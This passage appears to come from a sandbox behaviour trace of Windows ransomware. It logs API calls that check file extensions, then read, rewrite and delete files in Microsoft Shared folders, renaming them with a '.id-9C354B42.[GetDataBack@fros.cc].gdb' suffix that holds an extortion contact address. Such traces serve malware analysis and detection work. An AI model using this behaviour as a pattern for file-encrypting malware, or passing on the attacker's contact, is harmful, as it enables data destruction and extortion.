[0122.187] lstrlenW (lpString=".zip") returned 4 [0122.187] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0122.187] lstrlenW (lpString=".rar") returned 4 [0122.187] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0122.187] lstrlenW (lpString=".bz2") returned 4 [0122.187] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0122.187] lstrlenW (lpString=".7z") returned 3 [0122.187] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0122.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm") returned 67 [0122.187] lstrlenW (lpString=".dbf") returned 4 [0122.187] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0122.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm") returned 67 [0122.187] lstrlenW (lpString=".1cd") returned 4 [0122.187] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0122.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm") returned 67 [0122.187] lstrlenW (lpString=".jpg") returned 4 [0122.187] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0122.187] lstrcmpiW (lpString1=".jpg", lpString2=".gdb") returned 1 [0122.187] lstrlenW (lpString="Stars.jpg") returned 9 [0122.187] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0122.188] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x20bfc6c | out: lpFileSize=0x20bfc6c*=7505) returned 1 [0122.188] CloseHandle (hObject=0x208) returned 1 [0122.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg")) returned 0x20 [0122.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0122.188] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0122.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg") returned 67 [0122.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg") returned 67 [0122.188] lstrlenW (lpString=".doc") returned 4 [0122.188] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0122.188] lstrlenW (lpString=".docx") returned 5 [0122.189] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0122.189] lstrlenW (lpString=".pdf") returned 4 [0122.189] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0122.189] lstrlenW (lpString=".xls") returned 4 [0122.189] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0122.189] lstrlenW (lpString=".xlsx") returned 5 [0122.189] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0122.189] lstrlenW (lpString=".ppt") returned 4 [0122.189] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0122.189] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg") returned 67 [0122.189] lstrlenW (lpString=".zip") returned 4 [0122.189] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0122.189] lstrlenW (lpString=".rar") returned 4 [0122.189] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0122.189] lstrlenW (lpString=".bz2") returned 4 [0122.189] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0122.189] lstrlenW (lpString=".7z") returned 3 [0122.189] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0122.189] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg") returned 67 [0122.189] lstrlenW (lpString=".dbf") returned 4 [0122.189] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0122.192] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0122.192] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0122.192] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0122.194] GetLastError () returned 0x0 [0122.194] ReadFile (in: hFile=0x208, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x621, lpOverlapped=0x0) returned 1 [0122.196] WriteFile (in: hFile=0x214, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0x630, lpOverlapped=0x0) returned 1 [0122.198] ReadFile (in: hFile=0x208, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x0, lpOverlapped=0x0) returned 1 [0122.198] WriteFile (in: hFile=0x214, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0xea, lpOverlapped=0x0) returned 1 [0122.198] SetEndOfFile (hFile=0x214) returned 1 [0122.198] CloseHandle (hObject=0x214) returned 1 [0122.199] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0122.199] SetEndOfFile (hFile=0x208) returned 1 [0122.199] CloseHandle (hObject=0x208) returned 1 [0122.200] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0122.200] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif")) returned 1 [0122.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0122.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0122.200] lstrlenW (lpString=".doc") returned 4 [0122.200] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0122.201] lstrlenW (lpString=".docx") returned 5 [0122.201] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0122.201] lstrlenW (lpString=".pdf") returned 4 [0122.201] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0122.201] lstrlenW (lpString=".xls") returned 4 [0122.201] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0122.201] lstrlenW (lpString=".xlsx") returned 5 [0122.201] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0122.201] lstrlenW (lpString=".ppt") returned 4 [0122.201] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0122.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0122.201] lstrlenW (lpString=".zip") returned 4 [0122.201] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0122.201] lstrlenW (lpString=".rar") returned 4 [0122.201] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0122.201] lstrlenW (lpString=".bz2") returned 4 [0122.201] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0122.201] lstrlenW (lpString=".7z") returned 3 [0122.201] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0122.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0122.201] lstrlenW (lpString=".dbf") returned 4 [0122.201] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0122.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0122.201] lstrlenW (lpString=".1cd") returned 4 [0122.201] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0122.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0122.201] lstrlenW (lpString=".jpg") returned 4 [0122.201] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0122.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0122.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0122.201] lstrlenW (lpString=".doc") returned 4 [0122.201] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0122.201] lstrlenW (lpString=".docx") returned 5 [0122.201] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0122.201] lstrlenW (lpString=".pdf") returned 4 [0122.201] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0122.201] lstrlenW (lpString=".xls") returned 4 [0122.201] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0122.201] lstrlenW (lpString=".xlsx") returned 5 [0122.201] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0122.201] lstrlenW (lpString=".ppt") returned 4 [0122.202] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0122.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0122.202] lstrlenW (lpString=".zip") returned 4 [0122.202] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0122.202] lstrlenW (lpString=".rar") returned 4 [0122.202] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0122.202] lstrlenW (lpString=".bz2") returned 4 [0122.202] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0122.202] lstrlenW (lpString=".7z") returned 3 [0122.202] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0122.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0122.202] lstrlenW (lpString=".dbf") returned 4 [0122.202] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0122.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0122.202] lstrlenW (lpString=".1cd") returned 4 [0122.202] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0122.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0122.202] lstrlenW (lpString=".jpg") returned 4 [0122.202] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0122.202] lstrcmpiW (lpString1=".PNG", lpString2=".gdb") returned 1 [0122.202] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0122.202] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0122.203] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x20bfc6c | out: lpFileSize=0x20bfc6c*=25234) returned 1 [0122.203] CloseHandle (hObject=0x208) returned 1 [0122.203] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png")) returned 0x20 [0122.203] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0122.203] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0122.203] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0122.203] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0122.203] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0122.204] GetLastError () returned 0x0 [0122.204] ReadFile (in: hFile=0x208, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x6292, lpOverlapped=0x0) returned 1 [0122.205] WriteFile (in: hFile=0x214, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0x62a0, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0x62a0, lpOverlapped=0x0) returned 1 [0122.207] ReadFile (in: hFile=0x208, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x0, lpOverlapped=0x0) returned 1 [0122.207] WriteFile (in: hFile=0x214, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0xec, lpOverlapped=0x0) returned 1 [0122.207] SetEndOfFile (hFile=0x214) returned 1 [0122.207] CloseHandle (hObject=0x214) returned 1 [0122.208] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0122.208] SetEndOfFile (hFile=0x208) returned 1 [0122.209] CloseHandle (hObject=0x208) returned 1 [0122.209] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0122.209] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png")) returned 1 [0122.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0122.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0122.209] lstrlenW (lpString=".doc") returned 4 [0122.209] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0122.209] lstrlenW (lpString=".docx") returned 5 [0122.209] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0122.209] lstrlenW (lpString=".pdf") returned 4 [0122.209] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0122.209] lstrlenW (lpString=".xls") returned 4 [0122.209] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0122.209] lstrlenW (lpString=".xlsx") returned 5 [0122.209] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0122.209] lstrlenW (lpString=".ppt") returned 4 [0122.209] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0122.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0122.210] lstrlenW (lpString=".zip") returned 4 [0122.210] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0122.210] lstrlenW (lpString=".rar") returned 4 [0122.210] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0122.210] lstrlenW (lpString=".bz2") returned 4 [0122.210] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0122.210] lstrlenW (lpString=".7z") returned 3 [0122.210] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0122.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0122.210] lstrlenW (lpString=".dbf") returned 4 [0122.210] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0122.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0122.210] lstrlenW (lpString=".1cd") returned 4 [0122.210] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0122.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0122.210] lstrlenW (lpString=".jpg") returned 4 [0122.210] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0122.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0122.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0122.210] lstrlenW (lpString=".doc") returned 4 [0122.210] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0122.210] lstrlenW (lpString=".docx") returned 5 [0122.210] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0122.210] lstrlenW (lpString=".pdf") returned 4 [0122.210] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0122.210] lstrlenW (lpString=".xls") returned 4 [0122.210] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0122.210] lstrlenW (lpString=".xlsx") returned 5 [0122.210] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0122.210] lstrlenW (lpString=".ppt") returned 4 [0122.210] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0122.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0122.210] lstrlenW (lpString=".zip") returned 4 [0122.210] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0122.210] lstrlenW (lpString=".rar") returned 4 [0122.210] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0122.210] lstrlenW (lpString=".bz2") returned 4 [0122.210] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0122.210] lstrlenW (lpString=".7z") returned 3 [0122.211] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0122.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0122.211] lstrlenW (lpString=".dbf") returned 4 [0122.211] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0122.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0122.211] lstrlenW (lpString=".1cd") returned 4 [0122.211] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0122.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0122.211] lstrlenW (lpString=".jpg") returned 4 [0122.211] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0122.211] lstrcmpiW (lpString1=".GIF", lpString2=".gdb") returned 1 [0122.211] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0122.211] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0122.950] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x20bfc6c | out: lpFileSize=0x20bfc6c*=2985) returned 1 [0122.950] CloseHandle (hObject=0x200) returned 1 [0122.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif")) returned 0x20 [0122.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0122.950] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0122.951] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0122.951] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0122.951] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0123.202] GetLastError () returned 0x0 [0123.202] ReadFile (in: hFile=0x200, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0xba9, lpOverlapped=0x0) returned 1 [0123.292] WriteFile (in: hFile=0x1cc, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0xbb0, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0xbb0, lpOverlapped=0x0) returned 1 [0123.293] ReadFile (in: hFile=0x200, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x0, lpOverlapped=0x0) returned 1 [0123.293] WriteFile (in: hFile=0x1cc, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0xea, lpOverlapped=0x0) returned 1 [0123.294] SetEndOfFile (hFile=0x1cc) returned 1 [0123.294] CloseHandle (hObject=0x1cc) returned 1 [0123.294] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0123.294] SetEndOfFile (hFile=0x200) returned 1 [0123.295] CloseHandle (hObject=0x200) returned 1 [0123.295] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0123.296] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif")) returned 1 [0123.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0123.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0123.296] lstrlenW (lpString=".doc") returned 4 [0123.296] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0123.296] lstrlenW (lpString=".docx") returned 5 [0123.296] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0123.296] lstrlenW (lpString=".pdf") returned 4 [0123.296] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0123.296] lstrlenW (lpString=".xls") returned 4 [0123.296] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0123.296] lstrlenW (lpString=".xlsx") returned 5 [0123.296] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0123.296] lstrlenW (lpString=".ppt") returned 4 [0123.296] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0123.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0123.296] lstrlenW (lpString=".zip") returned 4 [0123.296] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0123.296] lstrlenW (lpString=".rar") returned 4 [0123.296] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0123.296] lstrlenW (lpString=".bz2") returned 4 [0123.296] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0123.297] lstrlenW (lpString=".7z") returned 3 [0123.297] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0123.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0123.297] lstrlenW 